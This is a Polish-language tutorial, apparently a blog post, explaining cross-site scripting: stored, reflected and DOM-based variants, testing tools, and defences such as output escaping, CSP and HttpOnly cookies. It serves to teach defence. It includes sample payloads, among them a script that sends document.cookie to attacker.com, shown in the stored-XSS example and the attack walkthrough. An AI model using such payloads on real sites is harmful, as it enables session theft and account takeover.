XSS (Cross-Site Scripting) – Wszystko o jednym z najczęstszych ataków na aplikacje webowe
🛑 XSS (Cross-Site Scripting) – Wszystko o jednym z najczęstszych ataków na aplikacje webowe
💡 Co to jest XSS?
XSS (Cross-Site Scripting) to rodzaj ataku, w którym atakujący wstrzykuje złośliwy kod JavaScript (czasem także HTML, CSS, a nawet VBScript) do legalnej strony internetowej, z myślą o wykonaniu tego kodu po stronie przeglądarki ofiary.
Jest to jedna z najpowszechniejszych luk bezpieczeństwa w aplikacjach internetowych, notorycznie występująca w raportach OWASP TOP 10.
🎯 Cele ataków XSS
- 🧠 Kradzież danych (np. ciasteczek sesyjnych, danych logowania)
- 👤 Kradzież tożsamości użytkownika
- 🧨 Przejmowanie kont
- 🖥️ Podszywanie się pod użytkownika (np. zmiana treści formularzy)
- 🐚 Wstrzykiwanie złośliwego JS (np. keylogger, exploit loader)
- 🔗 Phishing w obrębie zaufanej domeny
📚 Rodzaje XSS
1. 🔁 Stored XSS (trwały)
Złośliwy kod jest zapisywany w bazie danych (np. w komentarzu lub profilu użytkownika), a następnie wyświetlany innym użytkownikom.
🔍 Przykład:
Użytkownik wpisuje komentarz:
<script>fetch('https://attacker.com?cookie=' + document.cookie)</script>
Każdy, kto wyświetli ten komentarz – uruchamia złośliwy kod.

2. 🔗 Reflected XSS (odbijany)
Złośliwy kod jest przekazywany w linku, np. w parametrze GET, i odbijany w odpowiedzi serwera, bez zapisu na stałe.
🔍 Przykład:
https://example.com/search?q=<script>alert('XSS')</script>
Jeśli aplikacja bezpiecznie nie filtruje danych, skrypt wykona się natychmiast po wejściu na stronę.
3. 📦 DOM-based XSS
Złośliwy kod jest przetwarzany przez JavaScript po stronie przeglądarki, bez udziału serwera.
🔍 Przykład:
document.getElementById("output").innerHTML = location.hash;
Użytkownik odwiedza:
https://example.com#<img src=x onerror=alert(1)>
🧪 Przykładowe Payloady XSS
<script>alert('XSS')</script>
<img src="x" onerror="alert('XSS')">
<svg onload=alert(1)>
<a href="javascript:alert(1)">kliknij mnie</a>
Payloady mogą być ukryte, zakodowane w base64, rozdzielone w kilku częściach lub celować w konkretne biblioteki JS (np. jQuery).
🛠️ Wykrywanie i testowanie XSS
🔧 Narzędzia:
- Burp Suite – intercept i fuzzing
- XSStrike – zaawansowana analiza luk XSS
- XSSer – automatyczne testy podatności XSS
- OWASP ZAP – skaner i proxy
- F12 Dev Tools – analiza DOM i odpowiedzi HTTP
🔐 Zabezpieczenia przed XSS
🔢 1. Escaping (kodowanie wyjścia)
Kodowanie znaków specjalnych przed ich wyświetleniem (np. &, <, >).
🛡️ 2. Sanityzacja danych wejściowych
Filtrowanie i oczyszczanie danych od użytkownika.
🧾 3. Użycie nagłówków bezpieczeństwa:
Content-Security-Policy: ogranicza, jakie skrypty mogą być wykonywane.X-XSS-Protection: włącza (w starszych przeglądarkach) mechanizmy ochrony.HttpOnlyiSecuredla ciasteczek – chroni przed ich odczytem przez JS.
🧱 4. Unikanie innerHTML / document.write
Używaj textContent lub setAttribute zamiast metod podatnych na XSS.
🚩 Gdzie najczęściej występują luki XSS?
- 📝 Formularze (komentarze, kontakt, rejestracja)
- 🔍 Pola wyszukiwania
- 📤 Panele admina bez walidacji danych
- 🧩 Komponenty JavaScript i frameworki (np. AngularJS bez
$sanitize) - 💬 Dynamiczne treści w mailach i podglądach wiadomości
👨💻 Przykład ataku XSS w praktyce
- Atakujący wkleja w komentarzu kod:
<script>
fetch('https://attacker.com/cookie=' + document.cookie)
</script>
- Użytkownik odwiedza stronę z komentarzem.
- Jego ciasteczko sesyjne jest wysyłane do atakującego.
- Atakujący używa skradzionego ciasteczka do zalogowania się jako ofiara.
🔄 Ataki pokrewne:
- HTML Injection – wstrzyknięcie kodu HTML bez JS
- JS Injection – wewnątrz aplikacji (np.
eval,setTimeout) - UI Redressing (Clickjacking) – z wykorzystaniem ramek
✅ Podsumowanie
XSS to jedna z najbardziej znanych i niebezpiecznych podatności w aplikacjach webowych. Pomimo swojej prostoty, konsekwencje mogą być katastrofalne — od kradzieży danych po przejęcie konta administratora.
🛡️ Skuteczna obrona to kombinacja:
- prawidłowej walidacji danych,
- kodowania danych przy wyświetlaniu,
- oraz stosowania nowoczesnych mechanizmów bezpieczeństwa (CSP, HttpOnly, sameSite).






